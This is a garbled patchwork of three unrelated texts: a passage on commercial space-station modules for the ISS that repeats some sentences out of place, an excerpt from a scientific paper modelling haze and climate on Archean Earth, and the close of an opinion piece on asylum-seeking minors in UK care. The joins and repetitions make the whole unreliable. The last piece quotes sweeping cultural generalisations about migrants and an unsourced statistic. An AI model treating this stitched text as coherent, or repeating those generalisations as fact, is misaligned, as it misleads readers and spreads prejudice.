ISS as private space station incubator Against this backdrop—time running down on ISS and uncertainty about a lifetime extension, a continuing rationale for a LEO presence, consensus on a commercial LEO future, and questions about CASIS’s effectiveness—the pressure to find a sustainable business case that generates demand for private stations is increasing. Right now, in the eyes of Andrew Rush, president and CEO of Made in Space, a company doing additive manufacturing work aboard ISS, “is an inflection point for continued development of commercial activity in space.” Though BEAM’s primary purpose is as a technology demonstrator, Robert Bigelow suggested that it could also be used for commercial applications. However, little has come of the suggestion since then, and whether BEAM will be put to commercial use remains to be seen. However, new ideas for utilizing ISS in support of commercialization are concurrently beginning to materialize. Beyond using the National Lab for research, some see value in ISS being a platform to test and experiment with commercial station hardware. Bigelow, at the ISS Research and Development Conference in July 2016, suggested this while saying, “starting with the purpose going forward for the ISS, I couldn’t think of a better metaphor than as an incubator.” (see “A stepping-stone to commercial space stations”, The Space Review, July 25, 2016) Precedent for attaching commercial module to ISS already exists. In April 2016, the Bigelow Expandable Activity Module (BEAM) was flown to the station and installed by late May. NASA awarded a $17 million contract to Bigelow in 2012 to construct the module, which is designed to be a testbed for larger expandable modules that may support NASA’s future habitation needs for long-duration spaceflight. According to NASA’s Jason Crusan, “we’re fortunate to have the space station to demonstrate potential habitation capabilities like BEAM.” After testing is complete, the module will be detached from ISS and deorbited in 2018. Though BEAM’s primary purpose is as a technology demonstrator, Robert Bigelow suggested that it could also be used for commercial applications. At a pre-launch press conference, he said that his company has “four different groups today that want to fly experiments and different payloads to BEAM, and deploy those within BEAM.” Though he didn’t specifically name them, he said that two represent countries and the other two corporations. Bigelow hoped that “maybe in half a year or something, we can get permission from NASA to accommodate these people in some way.” However, little has come of the suggestion since then, and whether BEAM will be put to commercial use remains to be seen. Moving beyond technology demonstrators, Axiom Space has begun making plans to attach and utilize a commercial station module aboard ISS, while Bigelow has been talking about the concept for some time. Laying out his intentions in an interview following the NewSpace 2016 Conference, Michael Suffredini said that Axiom hopes to “fly a module that begins its life at the International Space Station” which would then later detach from ISS to form the core of a free-flying station. At the 2016 International Symposium for Personal and Commercial Spaceflight (ISPCS), the company outlined plans for the module: it would add two docking ports to the space station and be “as large as the US laboratory module and Node 2 combined.” Meanwhile, at the April 2016 Space Symposium, Bigelow said that his company would like to attach its B330 inflatable module—notionally named the Expandable Bigelow Advanced Station Enhancement, or XBASE—to ISS (see “Expanding the space station market”, The Space Review, April 18, 2016). Both companies hope that their modules, while attached to ISS, could explore the commercial utility of a private station. In an interview given while still serving as NASA’s ISS program manager, Suffredini identified a need for new applications of ISS that would advance the commercialization effort. He noted that NASA needed to find ways for “more and more customers [to] utilize ISS.” By doing so, “someday somebody can create a business case based on real data that says if I build a low Earth orbit platform, I can make money, and at that point we’ll have somebody build a platform that will replace ISS.” Along those lines, Bigelow has suggested several functions, both in support of commercialization and to advance NASA’s mission, which his module could serve. If his company’s module is installed, “we’re also |
1.89 × δ36S. MIF in naturally occurring samples is very unusual and is generally diagnostic of quantum chemistry such as can occur in certain atmospheric reactions. While the precise mechanism (or mechanisms) that produces S-MIF is unknown, photolysis of sulfur gases in an anoxic atmosphere is the only known mechanism that produces large-magnitude Δ33S and Δ36S seen in the rock record (Farquhar et al., 2001, 2007).
The S-MIF signal is variable throughout the Archean, and it vanishes completely once O 2 builds up to non-negligible levels in the atmosphere after the GOE at 2.5 Ga. Its recurrence at both ends of the Archean eon implies that, within 0.8 billion years of Earth's formation, a common mechanism for S-MIF production was already established in the atmosphere (Thomassot et al., 2015). After the GOE, O 2 and the ozone (O 3 ) derived from O 2 photochemical reactions block the UV photons necessary to photolyze sulfur gases and produce S-MIF. Also, S 8 is the most important species to rain out S-MIF from the atmosphere; because a more reducing atmosphere enhances the ability of S 8 to polymerize, S-MIF is more easily preserved under reducing conditions (Zahnle et al., 2006). After the GOE, all the sulfur in the atmosphere would have been oxidized into a single exit channel, eliminating any fractionation created in the atmosphere (Pavlov and Kasting, 2002). Thus, S-MIF is generally regarded as robust evidence for an anoxic Archean atmosphere.
Δ33S typically correlates with enrichments in δ34S and with depletions in δ36S, and variations in magnitude and sign of these isotopic signals in Earth's geological record hint that strong constraints on Archean atmospheric chemistry will be possible when the precise MIF formation mechanisms are identified (Claire et al., 2014). Δ36S/Δ33S in Archean sedimentary rocks is generally around −1, but stratigraphic variations in this slope have been observed in the geological record and interpreted as evidence of changes to the S-MIF production mechanism resulting from changes in atmospheric composition (Zerkle et al., 2012; Kurzweil et al., 2013; Izon et al., 2015), suggesting the influence of haze.
Domagal-Goldman et al. (2008) and Haqq-Misra et al. (2008) studied potential links between S-MIF, hazes, and Archean glaciation. At ∼2.9 Ga, there is geological evidence suggesting a glaciation event (Young et al., 1998) may have occurred during the same period when the S-MIF Δ33S signal dips to lower values. An upper atmosphere haze that decreased tropospheric SO 2 photolysis by blocking UV photons and cooled the planet could explain both the glaciation and the decrease in S-MIF. In this conceptual model, the end of the cold period typified by low Δ33S may be due to a decrease in the atmospheric CH 4 /CO 2 ratio, which would have cleared any haze present in the atmosphere. If true, this change in atmospheric composition and radiative scattering would have enabled UV photons to penetrate deeper into the atmosphere, interacting with sulfurous gases and affecting their isotopic signatures (Claire et al., 2014). Earth's record of sedimentary sulfates does show a significant change in their minor sulfate isotope behavior between 2.73 and 2.71 Ga (Kurzweil et al., 2013; Izon et al., 2015) that may in fact reflect this change, although predictive models of sulfur isotope fractionation are not yet able to reproduce these trends seen in the rock record (Claire et al., 2014).
Zerkle et al. (2012) discussed the discovery of geochemical evidence consistent with the Archean haze hypothesis. The authors analyzed sediments aged 2.65–2.5 Ga collected from the Ghaap Group in South Africa and showed that variations of Δ36S/Δ33S associated with changes in atmospheric chemistry were contemporaneous with highly negative excursions of δ13C org values. Negative values of δ13C org below −37‰ are typically interpreted as evidence for methanogenesis (biological methane production) followed by subsequent incorporation into sediments by methanotrophy (methane consumption), which imparts a strongly negative δ13C org because organisms preferentially uptake the 12C (Urey and Greiff, 1935; Schopf, 1983; Schidlowski, 2001; Eigenbrode and Freeman, 2006). The contemporaneous excursions of the sulfur and C org isotopes suggest a close linkage between S-MIF signals and biogenic methane. The links between S-MIF signals and biogenic methane production have been recently expanded over multiple cores and locations, suggesting multiple changes in atmospheric chemistry during the Neoarchean (Izon et al., 2015). Changes observed in the slope of Δ36S/Δ33S vary between −1.5 and −0.9 and are interpreted to reflect changes in the S-MIF source reactions driven by varying atmospheric haze thicknesses.
Kurzweil et al. (2013) noted that an increase in magnitude of S-MIF signals after 2.73 Ga (Thomazo et al., 2009) occurred during a prolonged negative shift in δ13C org, suggesting enhanced biological methane activity at this time. Similar to Zerkle et al. (2012), they discuss a change in the slope of Δ36S/Δ33S from −1.5 to −0.9 at 2.71 Ga and interpret this to be caused by a decrease in the CH 4 /CO 2 ratio at 2.71 Ga, possibly indicating an organic haze was present for some period of time prior to 2.71 Ga and cleared afterward. In this interpretation, haze-free and reducing atmospheric conditions dominated after 2.71 Ga, with haze reappearing in brief intervals of time as suggested by the Zerkle et al. (2012) and Izon et al. (2015) measurements.
Given the apparent occurrence of haze in the Archean, we investigated the impact of this haze on the climate, spectral appearance, and surface UV flux by simulating the hazy Archean environment with boundary conditions consistent with recent geochemical constraints. Unlike previous studies of the Archean climate under a haze, we use realistic fractal (rather than spherical) particles, which have different spectral properties and climatic effects. Our study also represents the first time temperature feedbacks have been investigated in relation to haze production in Archean Earth's atmosphere. Previous studies (Pavlov et al., 2001b; Domagal-Goldman et al., 2008; Haqq-Misra et al., 2008) involving climate modeling have included the haze's impact on temperature but not corresponding temperature feedbacks on haze formation. Temperature feedbacks have significant impacts on the resultant hazes: as we discuss below, hazes produce stratospheric temperature inversions, and warmer atmospheres produce larger haze particles, so hazes generated by chemistry models without temperature feedbacks may not produce realistic results.
2. Models and Methods
To simulate the hazy Archean environment with boundary conditions consistent with recent geochemical constraints, we used a coupled 1-D photochemical-climate model we call Atmos and a 1-D radiative transfer model, SMART (Spectral Mapping Atmospheric Radiative Transfer).
2.1. Coupled photochemical-climate model
Our coupled photochemical-climate model, Atmos, is used to simulate Archean Earth's photochemistry and climate. To use Atmos, the photochemical model (which includes particle microphysics) is run first to generate an initial atmospheric state based on user-specified boundary conditions [gas mixing ratios or fluxes, the solar constant at 2.7 Ga (Claire et al., 2012), the stellar spectral type, total atmospheric pressure, the initial temperature-pressure profile]. Then, the output files from the photochemical model for altitude, pressure, gas mixing ratios, haze particle sizes, and haze number densities are passed into the climate model. The climate model uses the photochemical model's solution as its initial conditions and runs until it reaches a converged state. It then feeds updated temperature and water vapor profiles back into the photochemical model. The models iterate back and forth in this manner until convergence is reached. An example of Atmos finding convergence can be seen in Fig. 1.
FIG. 1. Shown is an example of the Atmos model convergence process. This atmosphere, which has CH 4 /CO 2 = 0.17 and pCO 2 = 0.02 (total pressure 1 bar) goes through five coupling iterations. The initial temperature profile it uses was stored from a previous similar atmosphere. Here we show the temperature, water, haze number density, haze particle radii, C 2 H 6 profile, and CH 4 profile for each iteration of the coupled model.
2.1.1. Photochemical model
The photochemical portion of the code is based on the 1-D photochemical code developed originally by Kasting et al. (1979), but the version we use here was significantly modernized and updated by Zahnle et al. (2006) and uses the haze formation scheme described by Pavlov et al. (2001b). It was modified by E. Wolf to include fractal hydrocarbon hazes following the methods presented by Wolf and Toon (2010) and was first used to study fractal hazes on Archean Earth by Zerkle et al. (2012). Note that the version of the model used here can simulate atmospheres ranging from extremely anoxic (pO 2 = 10−14) to modern-day O 2 levels (Zahnle et al., 2006). Subsequent studies using this model or other versions of it to study fractal haze formation include those of Harman et al. (2013), Kurzweil et al. (2013), and Claire et al. (2014), with the latter two of these studies also derived from the same Zahnle et al. (2006) model branch used here. This model also has a long heritage of being used to study photochemistry in nonhazy atmospheres (e.g., Kasting and Donahue, 1980; Pavlov and Kasting, 2002; Ono et al., 2003; Segura et al., 2003, 2005, 2007, 2010; Zahnle et al., 2006; Grenfell et al., 2007; Catling et al., 2010; Domagal-Goldman et al., 2011, 2014; Rugheimer et al., 2013, 2015; Harman et al., 2015; Schwieterman et al., 2016).
The photochemical model parameters are as follows. Our model atmosphere is divided into 200 plane-parallel layers from the surface to 100 km, with a layer spacing of 0.5 km. We show a list of chemical reactions in our Supplementary Table S1 (Supplementary Data are available online at www.liebertonline.com/ast). Our Archean scheme includes 76 chemical species, 11 of which are short-lived (Supplementary Table S2). Short-lived species are considered in photochemical equilibrium (i.e., their atmospheric transport is neglected) and are not part of the Jacobian solved self-consistently at each time step. The mixing ratio of each species is found by solving flux and mass continuity equations in each layer simultaneously using a reverse-Euler method, providing exact solutions at steady state. Vertical transport by molecular and eddy diffusion is included, and boundary conditions that drive the model can be set for each species at the surface and the top of the atmosphere. A δ-2-stream method is used for radiative transfer (Toon et al., 1989). Fixed isoprofiles are assumed for CO 2 and N 2 in the atmospheres considered here.
Similarly to the work of Zerkle et al. (2012), we set a fixed mixing ratio of CH 4 at the surface; the model then calculates the surface flux necessary to maintain this mixing ratio. Since haze formation scales with the CH 4 /CO 2 ratio, we find this is the most straightforward way to explore haze thicknesses in our atmospheres. Note that when we discuss CH 4 /CO 2 values in this study, these refer to the ratio at the planetary surface because CH 4 does not follow an isoprofile.
Aerosol formation follows the method used in Kasting et al. (1989) and described and updated in Pavlov et al. (2001b). Immediate precursors to haze particles are formed through the reactions C 2 H + C 2 H 2 → C 4 H 2 + H and C 2 H + CH 2 CCH 2 → C 5 H 4 + H. Since the full chemical scheme that leads to aerosol formation is not well understood despite both laboratory and theoretical studies (e.g., Hallquist et al., 2009; Hicks et al., 2015), it is assumed that C 4 H 2 and C 5 H 4 condense directly to haze particles (called HCAER and HCAER2 in Supplementary Table S1). In a real atmosphere, the molecules would be larger before aerosols condense, and back-reactions should occur, so this model may overestimate the rate of aerosol formation. Pavlov et al. (2001b) suggested that if the real aerosol formation rate was slower, the atmosphere would compensate by increasing the CH 4 /CO 2 ratio, which would increase the polymerization rate. Further discussion of haze formation pathways and caveats of the approach we use here can be found in Section 4.4. The model's particles form initially with a radius of 0.001 μm. Each layer of the atmosphere has a monomodal size distribution calculated by comparing the coagulation lifetime to the particle removal lifetime via diffusion into another layer or by sedimentation. The aerosols can grow when the coagulation lifetime is longer than the lifetime for removal in a layer.
The maximum radius of a spherical haze particle (i.e., a haze “monomer”) is set to 0.05 μm, the same nominal value used by Wolf and Toon (2010) and similar to the size of the monomers of Titan's fractal haze aggregates (Rannou et al., 1997; Tomasko et al., 2008). Particles larger than this size are treated as fractal agglomerates of n mon spherical monomers of radius R mon that clump into a larger aggregate with an effective geometric radius R f given by the relation
Here, α represents a dimensionless constant of order unity, and D f is the “fractal dimension,” which can take on values between 1 and 3. D f = 3 represents a spherical (nonfractal or classical Mie) particle, while D f = 1 represents a string of linearly chained monomers. Titan's fractal aggregates are thought to have a fractal dimension of about 2 on average for the aerosol population (Rannou et al., 1997; Larson et al., 2015). Note that the “effective geometric radius” we refer to above is used only to conceptualize the size of a fractal particle and does not indicate that we use Mie scattering for our fractal particles; with the exception of sub-monomer-sized particles (R < 0.05 μm) which remain spherical and thus Mie, we use the mean field approximation for fractal scattering physics for all particles (Botet et al., 1997). The model's fractal production methods are discussed by Zerkle et al. (2012) (including their supplementary online information), where they were first implemented. Additional information about fractal particles and their geometry can be found in the works of, for example, Köylü et al. (1995) and Brasil et al. (1999). The mean field approximation we use for fractal scattering has been validated against scattering by silica fractal aggregates (Botet et al., 1997) and Titan's hazes (Rannou et al., 1997; Larson et al., 2015).
As in the work of Wolf and Toon (2010), the fractal dimension of our particles varies from 1.5 to 2.4 for aggregate particles, and larger aggregates have a larger fractal dimension to account for folding as the particles coagulate. In general, compared to spherical particles, fractal particles produce more extinction in the ultraviolet (UV) but less in the visible and near infrared (NIR). In addition, fractals tend to be more forward scattering in the visible and NIR and more isotropically scattering in the UV compared to equal-mass spherical particles. Their weakened visible extinction and enhanced forward scattering compared to spherical particles means they produce less cooling since they scatter less incident sunlight back to space (see Fig. 3 in Wolf and Toon, 2010). Figure 2 shows the extinction efficiency (Q ext ) and single-scattering albedo of different fractal particle sizes together with the haze optical constants we adopt in this study (Khare et al., 1984a). A discussion of our choice of optical constants and comparison to others in the literature can be found in Section 4.5.
FIG. 2. The top panels present the extinction efficiency (Qext) and single-scattering albedo ( = Qscat/Qext) of four sizes of fractal hydrocarbon particles used in this study and in Wolf and Toon (2010). The spherical monomers comprising these particles are 0.05 μm in radius. The radii on the plot correspond to the radii of equivalent-mass spherical particles, and the fractal dimensions of these particles, from smallest to largest, are 3 (spherical), 1.51, 2.28, and 2.40. The number of monomers in these particles are 1, 8, 1000, and 8000. These particles tend to scatter and absorb light more efficiently at shorter wavelengths, and larger particles have flatter wavelength dependence for the scattering efficiency. Refractive indices, shown in the bottom panels, are presented from information in Khare et al. (1984a).
FIG. 3. The gas profiles for H 2 O, CH 4, CO, CO 2, and C 2 H 6 for planets with pCO 2 = 0.01 bar for CH 4 /CO 2 = 0.1 (on the left) and CH 4 /CO 2 = 0.2 (on the right). Also shown are the profiles for the haze particle number density (in pale orange). The CH 4 /CO 2 = 0.1 haze profile is divided by 1000, and the CH 4 /CO 2 = 0.2 haze profile is divided by 1 × 105 in order to plot it on the same axis as the gases. The profiles in the right panel show larger amounts of CH 4, H 2 O, and C 2 H 6 above 60 km in altitude and illustrate how haze-induced shielding can prevent photolysis of these gases. The sharp decrease in haze particle number density between 60 and 70 km in the right panel shows where fractal coagulation occurs. The atmosphere above the fractal coagulation region is populated by spherical submonomer particles.
In the version of the photochemical model used here, we corrected an error relating to the calculation of the number of C 5 H 4 molecules composing HCAER2 haze particles. Previously, the model calculated the number of molecules per HCAER2 particle inappropriately using the mass of C 4 H 2 instead of C 5 H 4. In addition, we added more particle sizes to the model's scattering grid, increasing the number from 34 particle sizes to 51, and we added options to use different monomer sizes and optical constants than the ones used here for our nominal haze study; how variation of these parameters impacts haze formation is a subject of future work. Gas mixing ratios at the surface can be more finely tuned than in previous versions of the model from the addition of a significant figure to the species boundary conditions input file.
The photochemical model is considered converged when redox is conserved and a re-run of the model using last run's output as initial conditions occurs quickly (i.e., <50 time steps).
2.1.2. Climate model
Our climate model was originally developed by Kasting and Ackerman (1986). The model we use here has evolved considerably since its first incarnation, and versions of it have been applied in subsequent studies on varied topics such as the habitable zones for several stellar spectral types (Kopparapu et al., 2013), the climate of early Mars (Ramirez et al., 2013), the atmospheres of Earth-like planets around various stellar types (Segura et al., 2003, 2005, 2010; Rugheimer et al., 2013), clouds in exoplanet atmospheres (Kitzmann et al., 2010, 2011a), and the climate of early Earth (Haqq-Misra et al., 2008). The version we use here is based directly on that used by Kopparapu et al. (2013). It uses a correlated-k method to compute absorption by spectrally active gases (O 3, CO 2, H 2 O, O 2, CH 4, and C 2 H 6 ). This model has CO 2 and H 2 O correlated-k coefficients updated as described by Kopparapu et al. (2013). Our older CH 4 coefficients may overestimate the surface temperature by ≲5 K at the CH 4 mixing ratios used here (Byrne and Goldblatt, 2015). However, as we discuss in Section 4.2, our model underpredicts the Archean temperature by about 2–5 K compared to 3-D climate models with more complete physics describing the planetary system, so these two effects may cancel each other out. The aforementioned gas profiles are passed to the climate model from the photochemical model when running in coupled mode. The net absorbed solar radiation in each layer of the atmosphere is computed using a δ-2-stream multiple scattering algorithm (Toon et al., 1989) spanning from λ = 0.2 to 4.5 μm in 38 spectral intervals. For net outgoing IR radiation, we use a separate set of correlated-k coefficients for each gas in 55 spectral intervals spanning wave numbers of 0–15,000 cm−1.
We have made several modifications to the climate model used here. The model previously incorporated the spectral effects of spherical hydrocarbon particles, and it has been updated in our study to include fractal hydrocarbon scattering efficiencies using the mean field approximation of Botet et al. (1997) discussed previously. We have also updated the model so that haze profiles can be passed to it from an input file or by the photochemical code; in previous versions of the climate model, haze distributions were hard-coded and had to be edited manually. We corrected a discrepancy in the spacing between atmospheric layers in the routine that outputs coupling files for the photochemical model: our photochemical model layer spacing is 0.5 km, but a layer spacing of 1 km had been hard-coded. Coupling subroutines have been improved to be able to accept information about atmospheric pressure, stellar parameters, and haze parameters as input from the photochemical model. We also added options to turn ethane opacity and 1-D ice-albedo feedbacks (described in Section 4.1.1) on or off.
We have been unable to run the climate model to convergence using the same top-of-atmosphere pressure used for the photochemical model: the photochemical model extends to 100 km, but we have only been able to successfully run the climate model up to about 80 km for our 1 bar atmospheres. Thus, when temperature and water profiles are passed from the climate model to the photochemical model, they become isoprofiles above the top of the climate grid based on the highest-altitude temperature from the climate grid calculations. At these altitudes the atmosphere is thin, and the particles are very small; both of these effects lead to this portion of the atmosphere having little impact on radiative transfer and climate. We performed a sensitivity test of how the temperature at these altitudes affects the resultant haze distribution in the photochemical model, and the sizes of the largest haze particles produced by an atmosphere that becomes an 80 K isotherm above 80 km versus a 150 K isotherm differ by less than 5%. In the climate model, shifting the particles in Fig. 1 above 80 km down to lower altitudes alters the surface temperature by <0.5 K.
The climate model is considered converged when the change in temperature between time steps and change in flux out the top of the atmosphere are sufficiently small (typically on the order of 1 × 10−5).
2.2. The SMART model
To generate synthetic spectra for the atmospheres we produce with Atmos, we feed outputs from the Atmos model (the temperature-pressure profile, gas mixing ratio profiles, and the haze particle profile), into the SMART code, a 1-D line-by-line fully multiple scattering radiative transfer model (Meadows and Crisp, 1996; Crisp, 1997). SMART has been validated against observations of multiple solar system planets (Robinson et al., 2011; Arney et al., 2014). The Line-by-Line Absorption Coefficients (LBLABC) code, a companion to SMART, creates line-by-line absorption files for input gas mixing ratios and temperature-pressure profiles using HITRAN 2012 line lists (Rothman et al., 2013). SMART can also incorporate aerosols: as input, it requires “cloud files” with altitude-dependent opacities as well as the particle asymmetry parameter and the extinction, scattering, and absorption efficiencies (Q ext, Q scat, and Q abs ). For spherical particles (our small monomers), we use the code “Miescat,” to calculate these efficiencies using the indices of refraction measured by Khare et al. (1984a). For fractal hydrocarbon particles, we use scattering inputs from the Wolf and Toon (2010) photochemical study generated with the fractal mean field approximation (Botet et al., 1997). Spherical particles use a full Mie phase function, while fractal particles employ a Henyey-Greenstein phase function (Henyey and Greenstein, 1941). To generate transit transmission spectra, we use the SMART-T model (Misra et al., 2014a, 2014b). This version of SMART uses the same inputs as the standard code but simulates the longer path lengths and refraction effects associated with transit transmission observations.
To create SMART cloud files from Atmos haze outputs, we have written a script that bins the haze particles generated by the photochemical model into specified radii (also called particle “modes”) while preserving the total mass of each atmospheric layer. The particle mode sizes we use span from 0.001 to 2 μm; larger particles do not exist in our atmospheres due to rainout. Spherical modes are R = 0.001, 0.005, 0.01, and 0.05 μm. Fractal modes are R = 0.06–2 μm with four modes between 0.06 and 0.1, 10 equally spaced modes between 0.1 and 1 μm, and 2 μm. In total, this represents 19 particle modes.
In each layer of the SMART cloud files, we include a mixture of two particle modes; the mass density contributed by the two modes is selected based on the distance in log space of the Atmos particle radius to each neighboring SMART size bin. For example, if Atmos produces a particle of radius 0.33 μm in a layer, the corresponding layer in SMART will include 0.3 and 0.4 μm particles each comprising 50% of the layer's mass. This binning is necessary because the photochemical model generates many dozens of finely differentiated haze particle radii, but SMART model run time with this many particle sizes is infeasible.
Once we have binned the Atmos particle radii to our SMART size grid, we must compute the total optical depth from each particle mode at a reference wavelength in each atmospheric layer. We arbitrarily select 1 μm as our reference wavelength. Optical depth in a layer, τ, from particles of a given radius, R, depends on the number density of particles per particle size, n(R), the thickness of the atmospheric layer, z, and the wavelength-dependent extinction efficiency, Q ext :
For fractal particles (R > 0.05 μm), the cross-sectional area and the corresponding extinction efficiencies are computed relative to the radius of an equal-mass spherical particle, following the conventions of mean-field approximation (Botet et al., 1997). Spherical particles in SMART are binned according to log-normal size distributions using the radii mentioned previously and a mode standard deviation of 1.5, which is realistic for an aerosol distribution (Tolfo, 1977). For fractal particles, we use a monodisperse distribution, the same size distribution used to compute our inputs from the previous Wolf and Toon (2010) fractal haze study and the same distribution used in the Atmos model.
2.3. Model inputs
In the photochemical model, we set a haze monomer density of 0.64 g/cm3, which is consistent with the laboratory results of Trainer et al. (2006) for early Earth. This density is used in the model to calculate the masses of haze particles and is updated from the value of 1 g/cm3 used by previous studies employing our photochemical model. Hörst and Tolbert (2013) measured a similar effective particle density, 0.65 g/cm3, for a 0.1% CH 4 haze experiment using a UV lamp. One-tenth percent CH 4 is consistent with the atmospheres we simulate, although the Hörst and Tolbert hazes were Titan analog simulants lacking the CO 2 present in the Trainer et al. experiments. We apply a Manabe/Wetherald relative humidity model for the troposphere (Manabe and Wetherald, 1967) with a surface relative humidity of 0.8 in both the climate and photochemistry models. This humidity parameterization is further described by Pavlov et al. (2000). Our Archean simulations use the solar constant at 2.7 Ga (0.81 = S/S 0, where S 0 is the modern solar constant and S is the solar constant at 2.7 Ga) modified by a wavelength-dependent solar evolution correction (Claire et al., 2012). We chose this time because it corresponds to the age of the constraints on CO 2 used by our study (Driese et al., 2011). We set the mixing ratio of O 2 at the surface to 1.0 × 10−8, consistent with the Zerkle et al. (2012) study. These conditions reflect the time period after the evolution of oxygenic photosynthesis but prior to Earth's GOE in which substantial biogenic fluxes of both oxygen and methane would have vented into a predominantly reducing atmosphere (Claire et al., 2014). Unless otherwise specified, the surface albedo used by the climate model is 0.32. This includes the effect of clouds, which is standard in this 1-D treatment (Kopparapu et al., 2013) and is the albedo that reproduces the average temperature of present-day Earth (288 K) with modern atmospheric conditions. Of course, the true cloud distribution on Archean Earth is unknown, and clouds may have had important climatic effects on our early planet (Goldblatt and Zahnle, 2011). The solar zenith angles (SZAs) used in the climate and photochemical models were chosen to best represent globally averaged behavior of the physics in each specific model, which Segura et al. (2003) found as SZA = 45° in the photochemical model and SZA = 60° in the climate model. These zenith angles are both tuned to reproduce modern-day Earth's average chemical profiles and climate, respectively.
For our SMART spectral simulations, our nominal spectra assume an ocean surface albedo (McLinden et al., 1997). In cases where an icy surface is used, we use an albedo from the USGS Digital Spectral Library (Clark et al., 2007). Our solar spectrum was modeled by Chance and Kurucz (2010) and was scaled by the solar evolution model (Claire et al., 2012) mentioned previously. The SZA is set at 60° for the reflection spectra, which approximates a planetary disk average near quadrature (planet half illuminated to the observer).
3. Results
In this section, we first describe the climate results from Atmos. Following this, we quantify the strength of a hazy UV shield for surface organisms, and we show and describe the spectral consequences of this haze in reflected light and transit transmission spectroscopy.
Recent paleosol measurements have constrained the CO 2 partial pressure (pCO 2 ) in the Archean at 2.7 Ga to be between 0.0036 and 0.018 bar [10–50 × the present atmospheric level (PAL)] (Driese et al., 2011), while recent estimates of Archean surface pressure (P surf ) are consistent with values as low as 0.5 bar (Som et al., 2012; Marty et al., 2013). We simulated four types of atmospheres that span these constraints to examine a range of conditions: pCO 2 = 0.01 and P surf = 1 bar of total pressure (Case A), pCO 2 = 0.018 and P surf = 1 bar (Case B), pCO 2 = 0.01 and P surf = 0.5 bar (Case C), and lastly, pCO 2 = 0.0036 and P surf = 0.5 bar (Case D). These are summarized in Table 1. The haze thickness scales with the CH 4 abundance relative to CO 2, so we investigated a range of CH 4 levels for each of these atmospheres. In the sections below, we refer to these Case A–D planets. Figure 3 shows an example of the atmospheric profiles for several gases in atmospheres with two different CH 4 /CO 2 ratios (0.1 and 0.2), plus the haze number density profiles scaled to fit on the same x axis. The insignificant haze present in the CH 4 /CO 2 = 0.1 atmosphere is spectrally indistinguishable from an atmosphere with no haze. The larger amounts of CH 4, C 2 H 6, and H 2 O at higher altitudes in the CH 4 /CO 2 = 0.2 atmosphere illustrate how the haze can shield these gases from photolysis.
Table 1. Atmosphere Parameters for Cases A–D Case A Case B Case C Case D pCO 2 (bar) 0.01 0.018 0.01 0.0036 P surf (bar) 1 1 0.5 0.5
Our results presented here required about 60 Atmos model runs. In total, we ran about twice this number for model debugging and testing. Each coupled Atmos run can take between 3 and 15 h depending on how many coupling iterations are required. Note that the run time for the climate model scales nonlinearly with the number of radiatively active gases: a model run that takes less than 20 min without CH 4 or C 2 H 6 will require well over an hour with both of these gases turned on. All the results presented here, except as noted in Section 4, were generated with both CH 4 and C 2 H 6.
Note that in the context of the results presented here, a “thick” haze refers to the haze at a CH 4 /CO 2 ratio ∼0.2.
3.1. Hazy climates
We find that hazy Archean climates were cold but most likely habitable (Fig. 4). Previous 1-D climate modeling efforts assumed that planets with globally averaged surface temperatures (T GAT, which is equivalent to our 1-D surface temperature, T surf ) below 273 K will experience runaway glaciation (e.g., Domagal-Goldman et al., 2008; Haqq-Misra et al., 2008). However, more recent 3-D studies have shown that Archean Earth can maintain an open ocean fraction of >50% for T GAT ≥ 260 K and an equatorial open ocean belt for T GAT ≥ 248 K (Wolf and Toon, 2013; Charnay et al., 2013). Furthermore, Abbot et al. (2011) argued that ocean open belts can remain climatologically stable, even if the ice latitude is reduced to 5–15°. Since a planet with any nonzero fraction of open ocean is habitable, we regard these updated globally averaged temperatures—all of which are significantly below freezing—to be more realistic habitability thresholds than 273 K. We adopt T GAT ≥ 248 K as our habitability threshold here.
FIG. 4. Mean surface temperatures as a function of CH 4 for Archean Cases A–D. The dashed blue line shows the freezing point of water (273 K), and the dashed orange line marks our lower threshold of habitability (248 K) for an equatorial ocean belt (Charnay et al., 2013). The X in each panel indicates the initiation of haze-induced cooling.
Figure 4 shows that when haze reaches a threshold thickness, further increases in CH 4 result in rapid increases in haze thickness and a corresponding steep falloff in surface temperature. However, at higher CH 4 /CO 2 ratios, the haze thickness (and the surface temperature) stabilizes because UV self-shielding inhibits methane photolysis, shutting down haze formation. Thus, we find there is a |
because he knows by sight many of the ‘facilitators’ or people traffickers. These are often young men on benefits who appear mysteriously able to travel ten times a year to Dubai and Africa. They charge a high price for a personalised service in which they accompany the young migrants on the plane before leaving them at the terminal. But the traffickers have British or EU passports. ‘I have no power to stop a British citizen longer than five minutes otherwise my bosses upstairs will kick off. I can do nothing without the traffickers’ permission. Nothing — and they know that.’
Despite the security threat, few in authority appear willing to tackle the problem. When a Conservative MP suggested checking the age of young asylum seekers with dental or X-ray tests of the hand to measure bone density, he was accused of ‘vilifying’ refugees. Ruth Allen, chief executive of the British Association of Social Workers, said medical tests would be ‘very intrusive and could be re-traumatising’.
When Norway insisted on a dental examination of arriving refugee children, they discovered nine out of ten were, in fact, over 18.
As a social worker, Allen must know the dangers of introducing grown men into schools and foster families. Paul Chadwick of Croydon borough council warned a House of Lords Committee last year of sexual exploitation in schools ‘by adults claiming to be children and placed in a school’. A worker in a residential home in Kent for children in care said that half of the children there are unaccompanied asylum-seeking children. In her estimation, more than half the migrants are not children at all, but in their twenties.
‘They can be quite frightening at times,’ she said. ‘They are aggressive and have an attitude problem. Many have no respect for women because of their culture. No one is giving consideration to the risks they pose, not just to staff but to the other children in the home. Because they are older, they have a lot of influence on the youngsters, who are very vulnerable. They introduce the children to alcohol and get them into crime like street robberies. It is a serious problem, which those in authority are not tackling.’
There is another issue. Our most vulnerable children are in competition with these asylum-seeking young people for a limited number of foster parents, a limited number of places in care homes and, above all, a limited amount of money.
Explaining who is losing out, a social worker says the system has ‘moved away’ from providing a service to the British kids in its care: ‘Instead we are dealing with problems particular to young asylum seekers — their legal status, visits to the Home Office and so on.’ She went on angrily: ‘This at the expense of our own 16- to 17-year-old care leavers who need a lot of support and are not getting it.’
The investment made by their families means the majority of the young migrants are, as the heads of various social services confirmed, ‘very motivated, see it as an opportunity and do very well. They are largely middle-class, male and expect to go to university,’ said one.
What a contrast to the care leavers I interviewed. At the age of ten, Trevon came home to find his crack-addict mother hanging dead in the kitchen. The lives of these kids are desperate. But Lily Allen does not cry for them on camera and it is almost impossible to get them the help they need.
It is time to overhaul a system that is corrupt, dangerous and fails to help the most deserving. But don’t hold your breath that anything will change, despite a vulnerable child trying to blow us up. The immigration officer summed up the general frustration: ‘You try and apply the rules only to be hauled up from on high and told “to deal with it”. I get bitter and twisted about it,’ he said. ‘We are heading into desperate times.’
